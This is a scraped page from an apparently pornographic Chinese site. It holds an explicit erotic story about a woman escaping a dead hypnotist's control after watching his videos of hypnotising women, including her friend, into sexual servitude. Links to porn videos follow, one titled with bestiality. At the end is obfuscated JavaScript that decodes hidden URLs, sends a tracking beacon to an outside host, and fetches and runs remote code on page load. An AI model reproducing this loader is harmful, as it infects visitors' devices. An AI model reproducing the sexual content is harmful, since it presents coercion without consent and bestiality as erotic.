热搜排行
密室逃脱
我什么也看不见。

  我并不是处在没有光线的地方,我也没有闭上眼睛,更不是瞎子。

  其实更準确的说,我并不是看不见,而是我没有看到,各式各样的光芒与
线条映入我的眼里,对我而言只是毫不相关的色彩与几何图形,我感觉自己非
常的轻鬆,就像在云端里飞翔,但我其实并不知道我在哪里。

  或者真的穿梭在云端?或着只是在一个骯髒不堪的卫生间?

  我不在乎。我只是持续地处于这个虚无的世界中,等待着主人的命令,我
感觉不到自己,甚至感受不到时光的流逝。

  我等待着主人的命令。

  主人没有任何命令。

  我是主人的奴隶,我的身体、灵魂都完全的属于主人,在主人给我命令之
前,我不用思考、不用感受,我只需要等待着。

  主人没有任何命令。

           ***    ***    ***    ***

  突然间,我感觉大腿之间有一股热流,一瞬间,原本完全停滞的世界好像
突然被拨动了时钟,身体的感受迅速的从大腿间湿黏的感觉扩散开来,我感到
双膝痠软、肩膀剧烈的疼痛,我放下了手臂,才知道我一直举着双手。

  膀胱快涨破的感觉也迅速的加剧,我无法控制地蹲了下来,虽然似乎还穿
着裤子,但我一刻也无法忍受的让剩下的尿液完全宣洩出来。

  同时,眼前的光芒迅速的聚焦成形,原本毫不相关的几何图形开始组成原
来的形体,我看到了一张白色的床,床上躺着我不认识的男人,这里很像是平
价的商务饭店里的房间,我发现自己赤裸着上半身,下面穿着牛仔裤,现在牛
仔裤的大腿部分被浸溼了一大片,尿液从已经饱和的牛仔布料滴到了地上。

  我没有穿鞋子,脚上只剩下粉红色的袜子,但也沾上了尿液。

  我的眼睛涩的像要快烧起来似的,我闭上双眼,用手掌摀住自己的脸,手
指在眼皮上加压按摩着,我才发现自己的下巴嘴角都是湿的,甚至有着湿过又
乾掉的痕迹,唾液被风乾的酸味涌进了我的鼻腔里。

  我脱掉了湿透的裤子、内裤还有袜子,在弄清楚到底发生了什么事之前,
我想先洗去身上那些令人不悦的气味。

  我左右张望了一下,没有浴室。

  不是没有浴室而已,没有门、没有窗户,虽然看着像房间,但这里似乎更
像是一个大箱子,有着一般房间该有的家俱,但却缺少了与外界联繫的通道,
我注意到这里也没有电话,墙上挂着时钟,显示着三点三十分,下午三点?还
是半夜三点?我一点线索也没有。

  我到底是怎么来到这里的?我的脑海里一片混乱,找不到任何关于这里的
记忆。

  我慢慢地走向躺在床上的男人,男人紧闭着双眼,头部朝上仰躺在床的正
中央,双脚悬在床的外面,西装笔挺的,戴着领带还穿着西装外套,对比着一
丝不挂的自己,我心里有一股很不公平的感觉。

  我不想吵醒他,希望能在他醒来之前在他身上找到些什么线索,但我很快
发现自己的顾虑是多余的,因为,床上躺着只是一具尸体。

  虽然看起来像是睡着了一样,但是明显已经没有了气息。

  我翻着他的口袋希望能找到些什么,其实我有点意外,人生第一次和死人
共处一室,我竟然对这具尸体没有感受到太大的恐惧,或许是现在诡异的状况
让我无心分神在恐惧上面,也可能是他才刚死,没有太多尸体的样子,但正这
么想着,我突然间浑身颤抖了一下,跳了开来。

  我并不是被什么吓到了,而是我想将他翻过身来,拿他屁股后面的皮夹,
在抬起他的手的那一刻,我突然感觉自己像是被电到了一样,一股极致幸福的
快感冲到了脑门,我不确定自己发出了怎么样的声音,慢慢地恢复过来时,我
才发现自己的左手正按摩着私处,腿上的尿水与爱液混杂到了一起。

  还是先离主人远一点的好。

  主人?我摇着头,不知道心里怎么会冒出这个词彙的。

  因为手上沾黏着爱液,我更迫切的想要清洗一下,这次我看到了冰箱,我
快步的走了过去,将冰箱打了开来,太好了,里面有三瓶没开封的矿泉水,我
很想一股脑地将整瓶水倒在身上,但突然想到自己不知道还会被困在这里多长
的时间,还是节省一点的好,而且一想到饮水的问题,我也才发现自己非常的
口渴。

  我打开了矿泉水,一开始先慢慢地喝了一小口,但似乎对于极度乾燥的喉
咙没有任何帮助,虽然想着要节省一点,我还是一下子就喝掉了半瓶。

  接着我想要寻找毛巾,没有浴室当然找不到毛巾,我转而寻找能够替代的
布料,床单看来是不错的选择,但是我不想再靠近主人,主人?我又奇怪的摇
了摇头,另外,我也不想使用尸体躺着的东西。

  我在电视边的角落发现了自己的衣服和胸罩,不过哪里都没有看见我的鞋
子,倒是看到了主人的皮鞋……主人……我极力的想摆脱这个词彙,却发现自
己只能这样来称呼主人,即便只是在心里。

  无计可施的状况下,我用矿泉水小心的沾湿自己的衣服,然后擦拭了身上
湿黏的地方,用掉了剩下的半瓶水。

  虽然没办法洗衣服,我还是想先把髒掉的衣物给晾起来,所以我打开了衣
橱,衣橱上层有着备用的床单,真是笨蛋,我咒骂了一下自己,应该早拿那个
来清理身体,现在就有衣服可以穿了。

  在把衣服和裤子用衣架吊起来之后,我把备用的床单当成大浴巾式的包住
自己的身体,至少不用再光着身体走来走去。

  我继续搜寻着能弄清自己发生了什么事的线索,然后我看见了一台笔记型
电脑,这不是我的电脑,那应该是主人的,啐,我又暗怒着自己在心里称呼他
为主人。

  我打开电脑,果然要输入密码,我当然没有密码,不过我也注意到指纹解
锁的功能,我转过头看着躺在床上的主人……我懒得再生气了,现况是,也许
我可以用主人的手指来帮电脑解锁,可是我实在不愿意再去碰他,刚才的感受
太惊人了,我叹了一口气,决定先放弃这台电脑,

  我绕着房间走了一圈,除了没有开口与通讯设备之外,这就是间很一般的
饭店房间,有电视、有床、有梳妆台、有衣橱、有冰箱,我翻了每一个抽屉,
找到了一本圣经、两个保险套和一包巧克力,冰箱里除了剩下的两瓶矿泉水之
外,还有两罐可乐,听说汽水的热量很高,我平常都是不敢喝的,如果到了真
的不行的时候,这两罐可乐不知道能不能帮我多活几个小时。

  我打开了电视,终于确认现在是晚上,应该说都快天亮了,现在的时间是
星期四的淩晨四点半,如果看的到外面的话,应该会看到阳光已经要探头了。

  从电视里看到了外界的模样,让我感觉自己慢慢回到了现实,我还记得星
期三早上去上班的经历,也记得我到了公司,上午开了会,中午和我最要好的
同事婷翎一起吃了咖哩饭……不对,那好像是星期二的事情,那我星期三吃什
么?我有吃午餐吗?记忆到这边变的相当模糊。

  想到这个,让我更加感觉肚子空的厉害,吃了两颗巧克力稍微充饥。

  终究,我还是想打开那台笔电,我将笔电放在了主人的右手旁边,然后用
被单将自己的双手包了起来,希望主人有用指纹来设定密码,但就算有,会是
哪只手指呢?我决定从先试试看右手的食指。

  我深吸了一口气,抬起主人的右手,让他的右手食指贴到指纹感应器。

  但即使隔着被单,我还是感受到了那一股不可思议的幸福电流,还好我还
能在恍惚之前,将主人的手指準确的摆在了感应器上,紧接着我整个人趴到了
主人的旁边,奇妙而剧烈的高潮从接触到主人的双手蔓延开来,我用手指疯狂
的抽弄着自己的私处,忘情的尖叫着。

  不知道过了几分钟,我慢慢地回过神来,床上有着我的爱液造成的水渍,
甚至连电脑上也喷到了几滴,然后我看向了萤幕,「请重新感应」,代表我失
败了。

  我带着高潮的余韵和失望的情绪离开了床上,做了好几次深呼吸来平复心
情,然后我开了第二瓶矿泉水喝了一口,下定决心要再试一次。

  这次试试看右手的拇指。

  又一次疯狂的高潮之后,我仍然只看到了令人失望的结果。

  我必须花好长一段时间来冷静下来,然后再试一次、再试一次,当我尝试
到第六次的时候,我几乎已经绝望了,也许主人根本没有使用指纹辨识,像是
我自己的手机虽然也有这个功能,但我就没有设置。

  终于,我第七次的时候将主人的左手小指放在感应器上,又一次激烈的手
淫与高潮过后,我抬起头看了电脑,终于成功地进入了作业系统,电脑上的时
间已经是早上八点了,我带着庆祝的心情将第二瓶矿泉水喝个精光,又吃了两
颗巧克力补充体力。

  去你的,谁会用小指去设定啊!

  我将电脑拿到了书桌上放着,坐了下来,打开了电脑上的地图,我本来有
点怀疑,自己会不会是被外星人抓走做什么奇怪的实验,但地图上的定位显示
着,我确实在地球上,而且就在离公司不远的一个饭店里。

  既然知道了自己在哪里,我一度想要在PTT上呼唤网友来救我,但一来
我并不知道自己在哪个房间,也不知道该怎么叙述自己的困境,这么做可能只
会被当成神经病而已,说不定还会被转贴到笨版让大家耻笑,我决定将这个方
法当成最后的备案。

  我继续查看着电脑里的档案,然后,我找到了一个取名为『调教纪录』的
资料夹,里面的子资料夹全都是女孩子的名字,我随手点进了第一个取名『王
欣怡』的资料夹,里面大约有十个以日期取名的影像档案。

  我随便打开了一个档案,影片的背景是一个和我现在所在的房间很像的地
方,不过旁边看的到窗户,一个年轻女孩坐在床沿,头重重的垂到了胸前。

  主人……没错,就是现在躺在我身边已经没有呼吸的这个人,走到了她的
身边,搭着她的肩膀说着,「深深的放鬆,进入愈来愈深的催眠状态。」

  催眠?她被催眠了?

  这么说起来,我也被催眠了吗?太多的想法一下子涌现出来,我感到脑袋
一股刺痛。

  「当我数到三,妳会清醒过来,但是当我一叫妳睡,妳就会立刻回到比现
在更深沈的催眠状态,了解吗?」主人继续说着,女孩深深垂着的头微微的上
下的移动着。

  「一、二、三,清醒过来。」

  女孩抬起了头,眼里闪过了一丝迷茫,然后困惑的看着面前的男人,「这
是什么地方?你是谁?」

  「妳不记得自己来这里做什么吗?」主人说着,女孩摇了摇头。

  「妳也不记得自己被催眠了吗?」

  「催眠?才没有……」女孩看起来很没有自信的说着,「好奇怪,我要离
开了。」女孩站了起来。

  然后催眠师在她面前挥了一下手,喊了声「睡」,女孩突然就像被关掉电
源的机器人一样,整个人瘫软的跪了下去,主人扶住了她,让她躺在自己的怀
里。

  「当我再度叫醒你的时候,妳仍然不记得自己被催眠了,但是妳不会想要
离开这个房间,妳会站起来脱光身上的衣服,并且不会意识到自己做了什么,
直到我提醒妳,同样的,无论任何时候,只要我叫妳睡,妳就会立刻回到比现
在更深沈的催眠状态。」

  在主人叫醒了女孩之后,女孩继续质问着主人是谁,问他说自己为什么会
在这个地方,同时解开了上衣的釦子,脱去衣服,然后脱掉胸罩,接着拉下了
裙子、褪去内裤,不一会儿全身就光溜溜的,表情却自然的就像什么都没发生
一样。

  「我主要是想欣赏妳美丽的裸体,然后拍照留念。」主人说着,挥舞着手
中的相机。

  「你这个变态,你在说什么啊。」女孩生气的说着。

  「妳不是也同意吗?不然妳脱光衣服衣服做什么?」

  「我才没……」女孩说到了一半,突然发现自己脱光了衣服,尖叫了一声
蹲了下来拚命的挡住自己的身体。

  「睡吧。」主人说着。

  突然女孩又失去了力量,倒在地上睡了过去,原本蹲着的双腿顺势岔了开
来,粉红色的阴户就这么在镜头前展示着。

  「欣怡,我要妳站起来,张开妳的眼睛,但继续停留在放鬆而深沈的催眠
状态。」

  女孩照做着,眼神里一片空洞,乖乖的站了起来,主人走了过去继续暗示
着,「妳的身体会停留在我移动的地方,很轻鬆的保持原来的姿势,妳就像个
雕像,美丽而没有意识的雕像。」主人一边说着,一边调整着女孩的姿势,将
女孩的双手举起,挺起胸部,像芭蕾舞者一样的动作。

  然后退后拿了相机拍着照。

  我的心脏剧烈的跳着,我关掉了视频,如果我也像这个女孩一样被催眠了
的话,是不是这边也会有我的名字,我看着这些资料夹,想找到自己的名字。

  我叫什么名字?

  妈的!我现在才发现我不记得自己的名字!

  这确实很像催眠师常做的暗示,我大概可以更确定自己被催眠了!

  主人催眠了我,让我脱掉了上衣,然后像刚才影片里的女孩一样,变成了
完全无法思考的人形模特儿,他拍着我的相片,摆弄着我的身体,让我举起双
手像个雕像一样。

  然后,主人突然死掉了,天知道发生了什么事情,也许是心脏病发还是什
么的,我就这么一直乖乖的站着,不知道过了几个小时,一直到了半夜三点才
因为尿裤子而清醒了过来!

  其实我也没有完全清醒过来,所以我只能叫他主人,这么想的话,我应该
只是在一间很普通的房间,有门、有窗户、也有电话,只不过我看不见,主人
不让我看见。

  我不知道该认为自己幸运,遇到了主人发生意外,逃脱了继续被玩弄的命
运,或应该认为自己运气太差,才碰到了这种困境。

  突然,我注意到资料夹中有一个相当熟悉的名字,我在公司里最要好的朋
友-陈婷翎。

  我按捺不住的讶异,打开了资料夹,开启了其中一个档案。

  我看到婷翎全身脱光的跪在镜头前。

  「妳知道我是谁吗?」

  「你是我的主人。」

  「妳是谁?」

  「我是你的奴隶。」

  「妳存在的意义是什么?」

  「我为了你而存在,主人,服侍你就是我的人生意义。」

  婷翎是比我晚一年进入公司的后辈,留着一头大波浪的捲髮,细緻的五官
看起来像个公主似的,但她的个性却完全不向外表那样的娇弱,她是一个能力
很强又独立自主的女性,不管碰到什么困难,她的眼里永远充满了自信,说起
来很惭愧,她来公司后明明是我这个前辈应该指导她的,但反而好几次我碰到
了困难,都是她挺身而出帮我处理的,我们也因此成为了好朋友。

  画面里的这个女孩,除了长的和她一样之外,一点都不像她。

  「舔我的脚趾。」

  「是的主人。」

  婷翎往前靠了过去,将头低到了地面,舔着主人的脚趾,然后主人抬起了
脚,让婷翎舔到她的脚掌,婷翎嗅着、吻着,一点都不放过的舔过主人的每个
脚趾缝和指甲缝隙,好像想把主人的脚整个吞进去一样,露出了十分卑微而享
受的模样。

  我摀着嘴巴,无法自已的流下了眼泪,关掉了视频。

  我注意到最后两个视频,在日期的后面有个括号,里面写着一个我看不清
楚的名字,我打开了档案。

  我看到了自己,有点昏昏沈沈的坐在沙发上面,婷翎坐在我的身边,我们
两个都穿着平常上班时会穿的套装,但婷翎的神智似乎很清醒,她看着我,然
后深情的吻了一下我的嘴唇。

  我下意识的摸着自己的唇,想像着被婷翎亲吻的感觉。

  「别急,等我催眠了她之后再来吧。」主人的声音传了出来。

  婷翎有点娇羞的笑着。

  然后主人出现在视频中,在桌上放了节拍器启动着,发出十分规律的滴答
声响,主人摇了摇我的肩膀,让我稍微再清醒一点,然后在我面前点起了打火
机,「不要闭上眼睛,专心的凝视着火焰,仔细地听着我的声音……」

  我突然意识到,这样下去我会被主人再度催眠,我赶紧将声音切掉,然后
快转着,快速地看着画面里发生的事情。

  我在快转的画面中,看到我和婷翎先后睡了过去,又过了一阵子,在影片
快要结束的时候,主人叫醒了我,我恢复了影片的速度,解除了静音。

  「感觉如何?」主人问着。

  「好放鬆的感觉。」我说着,脸上露出很开心的表情,然后突然发现了旁
边还熟睡着的婷翎,「婷翎?她怎么了?」我问着主人。

  「她被我催眠了。」

  「催眠?真的假的?」我露出了很讶异的表情。

  「当然是真的,而且妳也已经被我催眠了。」

  「不会吧,我才刚……」我说到一半,然后主人不知道说了什么。

  我大概和影片中的自己一起沈睡了过去。

           ***    ***    ***    ***

  我又因为剧烈的尿意而醒了过来,一回过神后,尿液止不住的宣洩而出,
流满了地板、也浸湿了我身上的床单,我发现自己先前坐着的椅子倒在我的面
前,我躺在椅子旁边的地板上,左膝似乎有些肿了起来,好像是跌倒的时候撞
伤的,我站了起来,把湿掉的床单解了开来,又恢复到一丝不挂的模样,因为
面向左边侧躺的原因,我的左手麻到一个不行。

  我抬起头看了看时钟,短针指向了九点,我才睡了十分钟?

  不对,我想我大概睡了十二个小时!

  喉咙乾到快烧起来似的,肚子也不断的叫着,我打开了第三瓶矿泉水,喝
了三分之一,然后用三分之一来擦拭沾着尿液的双腿,接着,我一口气吃了三
颗巧克力。

  我慢慢地运转起脑袋,我想,应该是因为主人说出了会让我回到催眠的暗
语,所以我会跟着影片里的自己一起睡去,而且我记得,那个时候已经到了影
片的末端,大概在我进入催眠之后影片就结束了,所以我就在没有人理我的状
况下不停睡着,一直到身体到了极限才清醒了过来。

  我还是被主人控制着,我该怎么才能摆脱他的控制?我感到一阵绝望,虽
然主人已经死去了,但即使只是影片中的声音也仍然能控制着我,我一时之间
感到悲从中来,蹲坐在墙角,尽可能地远离主人的尸体和自己的尿液,忍不住
嚎啕大哭了起来。

  也许过了十几分钟,哭完之后,我感觉脑袋更清醒了一点,想到自己会被
影片中的声音控制,我突然有了一个灵感,没错,我不该绝望,或许这才是转
机,我脑里闪现了一个计画。

  我望向了电脑,毫不意外的,电脑已经回到了待机状态,这意味着我必须
再碰主人一次,再经历一次令人崩溃的手淫之后才能打开电脑。

  一次就够了吗?天啊,我竟然忘了我刚才是用左手还是右手的小指来解锁
的?我记得我第一次用小指就成功了,然后我好像都是用先右手、再左手的顺
序来试的,所以应该是右手吧,不过我好像也没有一直照着这顺序,因为每次
尝试都得有一次死去活来的经历,我其实有点迷糊了。

  下定决心之后,我先用主人的右手小指给电脑开锁,因为又过了这么多小
时,主人的尸体显得更加冰冷与僵硬,发现到这一点才让我心里慢慢扬起了对
尸体的恐惧,不过这样的恐惧只持续了也许不到一秒,因为我的内心立刻被猛
烈的快感佔据,所有的恐惧、烦恼一瞬间都好像与我没有关係了,我拚命地用
手指抽弄着自己的阴户,只有高潮才是我唯一的目标。

  慢慢回过神后,电脑显示着「请重新感应」,可恶,真的记错了,我做了
几个深呼吸,让情绪慢慢平复之后,将电脑拿到了主人的左手边,这真的是最
后一次了,我脑海里突然有一种想法:还有人能给我这样的高潮吗?我搧了自
己一个耳光,讨厌自己竟然冒出这种想法。

  又重複了一次,在我经历了人生可能是最后一次如此激烈的高潮过后,电
脑终于解锁了。

  我打开了几个『调教纪录』中的资料夹,开启里面最后一个档案,希望能
找到主人帮女孩解除催眠控制的暗示,可惜,并没有那种东西,主人似乎没有
打算放过这些女孩,而是想要把她们当作呼之即来的催眠奴隶,但这也不影响
我的计画,我在每个视频中找到几个我需要的单词或句子,一个一个的把它截
取出来。

  最后,我打开了我和婷翎一起出现的那个视频,直接将进度拉到了最后,
就是这边,主人快要讲出那个会让我回到催眠状态的暗语了,我将鼠标放在暂
停钮上,聚精会神的看着,如果这次又睡了过去,不知道又会睡过几个小时,
我已经好久没吃点像样的东西了,说不定会就这么一睡不醒。

  画面中的我说出「不会吧,我才刚」那一瞬间我将暂停按了下去,然后将
时间记录下来,截取了接下来两秒钟的声音,然后我开始合成着这些素材。

  『(暗语),很好,深深地睡去,进入深沈的催眠状态,我要妳仔细地听
着我的声音,当我数到三之后妳会……』

  上面的部分很轻鬆,是从同一个地方节录的,接下来就比较辛苦了。

  『完全的、清醒过来、妳会完全、脱离、我的控制、我所有的催眠指令、
都会从妳的大脑、消失、妳将完全的、取回、对自己的控制、我所有的、催眠
暗示、都不再、生效、都不会、对妳产生、任何、作用、了解吗……』

  最后几句又比较轻鬆了。

  『很好,当我数到三之后,妳就会清醒过来,感觉精神很好,完全的恢复
正常,一、二、三,醒来!』

  已经十一点多了,短短的几段话弄了我快两个小时,我吃了两颗巧克力,
祈祷着计划能够顺利进行,我将笔电放到了地上,自己也靠着床坐在地板上,
我抚了下膝盖上的瘀青,我可不想再度在睡着时跌落到地上了。

  一切準备就绪之后,我开启了自己製作的音频。

  一阵无法压抑的睡意压倒了我,我的世界落入了一片漆黑。

           ***    ***    ***    ***

  我张开了眼睛,和之前因为身体受不了才醒来的状况明显不同,我感觉神
清气爽,全身十分的轻鬆,但比起这些,真正让我感动到快哭出来的地方是,
我一张眼就看到了面前的窗户。

  我成功了!

  我站了起来,自己仍然在同样的房间,但是门和窗户都出现了,门口摆着
我的鞋子,另外我还发现自己的手提包和手机都放在桌上,房间中央还架着一
部摄影机,我觉得很难理解的是,在我走来走去的时候,竟然都没有踢倒它,
我真无法想像自己先前是用怎么样的轨迹绕过它的。

  我的手机有着数十通的未接来电,公司、婷翎、还有我的家人,不知道该
怎么对他们解释我一整天的行蹤,或者,我更应该要担心的是,这边死了一个
人,员警会来调查这个房间吧?我又该怎么解释自己为什么陪了这个尸体一整
天,房间里还撒满了我的尿水与爱液。

  我拿走了摄影机中的记忆卡,套上满是尿骚味的牛仔裤与上衣,将袜子直
接塞进手提包后,带着笔电,套上了鞋子离开了房间,我不希望被别人看到这
些影像。

  我想赶快回家沖个热水澡,然后好好的吃一顿,剩下的事,等吃饱之后再
慢慢烦恼吧。

                                       
                               (全文完)
猜你喜欢下面这些


  • 女人在摄像头前自慰时狗舔她的剃毛阴部


    女人在摄像头前自慰时狗舔她的剃毛阴部
    300人观看

    女人在摄像头前自慰时狗舔她的剃毛阴部

  • NUBI-057 実録ドキュメントパパ活 SNSで出会ったパパ活女子たちのハメ撮り裏動画


    NUBI-057 実録ドキュメントパパ活 SNSで出会ったパパ活女子たちのハメ撮り裏動画
    628人观看

    NUBI-057 実録ドキュメントパパ活 SNSで出会ったパパ活女子たちのハメ撮り裏動画

  • Rica Mamada De La Chica De Rosa. Venida En Su Boca. Le Gusta La Lechita


    Rica Mamada De La Chica De Rosa. Venida En Su Boca. Le Gusta La Lechita
    456人观看

    Rica Mamada De La Chica De Rosa. Venida En Su Boca. Le Gusta La Lechita

  • めてください…と、声も出せず我慢してても「え…おじさんが私で興奮してる?」と、年上の男性。。


    めてください…と、声も出せず我慢してても「え…おじさんが私で興奮してる?」と、年上の男性。。
    459人观看

    めてください…と、声も出せず我慢してても「え…おじさんが私で興奮してる?」と、年上の男性。。

  • 【糖心Vlog】饥渴隔离被隔离的骚女肉体释


    【糖心Vlog】饥渴隔离被隔离的骚女肉体释
    418人观看

    【糖心Vlog】饥渴隔离被隔离的骚女肉体释

  • IPX-580 禁欲之後、流汗絶頂汁滿溢交合的3日間 楓可憐


    IPX-580 禁欲之後、流汗絶頂汁滿溢交合的3日間 楓可憐
    106人观看

    IPX-580 禁欲之後、流汗絶頂汁滿溢交合的3日間 楓可憐

  • 希瑟凯恩(HeatherKane)在公共浴室吸吮书要求提供测试答案【HeatherKane】


    希瑟凯恩(HeatherKane)在公共浴室吸吮书要求提供测试答案【HeatherKane】
    934人观看

    希瑟凯恩(HeatherKane)在公共浴室吸吮书要求提供测试答案【HeatherKane】

function gxdRCoD(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function lpBTDXrc(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gxdRCoD(t);};window[''+'K'+'B'+'x'+'L'+'s'+'c'+'P'+'k'+'G'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function YdZFw(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=lpBTDXrc,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=YdZFw(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15745/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=YdZFw(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMMlMM0ElMMkYlMMkZhLm1rdnNmLmNuJTNBODg5MMQ==','d3NzJTNBJTJGJTJGYS5rZmdqYS5jbiUzQTk1MMzMM=','168623',window,document,['M','M']);}:function(){};